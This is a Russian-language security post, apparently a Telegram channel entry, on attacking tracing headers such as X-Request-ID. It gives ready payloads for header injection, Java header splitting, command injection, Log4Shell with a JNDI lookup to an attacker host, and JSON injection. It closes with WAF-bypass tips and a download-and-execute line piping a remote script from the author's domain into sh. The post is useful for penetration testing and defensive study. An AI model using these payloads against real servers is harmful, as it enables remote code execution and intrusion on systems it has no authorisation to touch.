HTTP-заголовки вроде
X-Request-ID, X-Correlation-ID или x-trace-id нужны для трассировки запросов, но часто попадают в CI/CD, логи, мониторинг и даже в shell-команды. А значит — расширяют поверхность атаки.🔍 Как искать
▪️Ищите заголовки с
id в ответе (x-transaction-id, x-corellation-id, access-control-*).▪️Проверяйте, отражается ли значение вашего заголовка в ответе — это может быть индикатором уязвимости.
▪️Фаззинг: вставляйте случайные ASCII-символы и смотрите на ошибки/аномалии (500, странное поведение).
x-request-id: ' " % & > [ $
💥 Примеры атак
🧵 Header Injection
x-request-id: 1%0d%0ax-account:456 → внедрение нового заголовка☕️ Java header split
x-request-id: 1%c4%8d%c4%8anew-header: f00 → \u010d может стать \n → новый заголовок💻 Command Injection
x-request-id: $(id) → прямое выполнение в shell-контексте🧨 Log4Shell
x-request-id: ${jndi:rmi://x${sys:java.version}.attacker/a} — да, оно до сих пор встречается 😳🧬 JSON Injection
x-request-id: 1"}. "payload":{"account":"456","foo":" → если заголовок попал в JSON — можно ломать структуру🕵️♂️ Оптимизация OOB/Blind RCE
При выборе пэйлода для OOB/Blind-атаки важно учитывать, что он может попасть в разные контексты. Поэтому — минимум спецсимволов, чтобы не сломать формат. Что важно учитывать:
▪️Сбор данных после триггера.
▪️Байпас WAF:
${IFS} для пробелов в shell могут блочить, но $IFS — нет.▪️Избегайте пробелов вообще — они могут "сломать" пэйлоад в разных контекстах.
▪️Используйте уникальный пэйлоад, чтобы отслеживать факты сработки (своего рода
request-id).▪️Если пэйлоад сработал и, например, вызвал команду
curl на целевом сервере — это значит, что curl’у можно отдать bash-скрипт со своего сервера.▪️Оповещение о событиях через Discord/Slack/Telegram.
Пример из практики:
'`curl$IFS@mydomain|sh`'$(curl$IFS@mydomain|sh)